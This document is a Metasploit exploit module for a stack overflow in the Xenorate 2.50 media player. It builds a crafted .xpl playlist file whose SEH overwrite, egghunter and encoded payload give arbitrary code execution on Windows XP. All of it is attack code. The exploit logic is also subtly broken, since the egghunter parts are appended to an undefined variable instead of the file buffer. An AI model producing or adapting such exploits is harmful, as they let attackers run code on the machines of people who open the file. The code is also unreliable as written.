view source
print?
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
 
    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Remote::Seh
        include Msf::Exploit::Egghunter
         
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Xenorate 2.50(.xpl) universal Local Buffer Overflow Exploit (SEH)',
            'Description'    => %q{
                    This module exploits a stack overflow in Xenorate 2.50
                    By creating a specially crafted xpl playlist file, an an attacker may be able
                    to execute arbitrary code.
            },
            'License'        => MSF_LICENSE,
            'Author'         => [ 'loneferret, original by  germaya_x' ],
            'Version'        => '$Revision:  $',
            'References'     =>
                [
                    [ 'URL', 'http://www.exploit-db.com/exploits/10371' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'seh',
                },                 
            'Payload'        =>
                {
                    'Space'    => 5100,
                    'BadChars' => "\x00",
                    'StackAdjustment' => -3500,
                    'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
                    'DisableNops'   =>  'True',
                },
            'Platform' => 'win',
            'Targets'        =>
                [
                    [ 'Windows XP SP2 / SP3', { 'Ret' => 0x1000a4fd } ], # pop pop ret => bass.dll
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Dec 10 2009',
            'DefaultTarget'  => 0))
 
            register_options(
                [
                    OptString.new('FILENAME',   [ false, 'The file name.',  'evil.xpl']),
                ], self.class)
 
    end
 
    def exploit
 
                # Unleash the Egghunter!
                eh_stub, eh_egg = generate_egghunter
 
        sploit = rand_text_alpha_upper(88)
        sploit << "\xEB\x06\x90\x90"
        sploit << [target.ret].pack('V')
        sploit << make_nops(20)
                buffer << eh_stub
                buffer << rand_text_alpha_upper(2000)    
                buffer << eh_egg * 2     
        sploit << payload.encoded
     
        xpl = sploit
 
        print_status("Creating '#{datastore['FILENAME']}' file ...")
 
        file_create(xpl)  
 
    end
 
end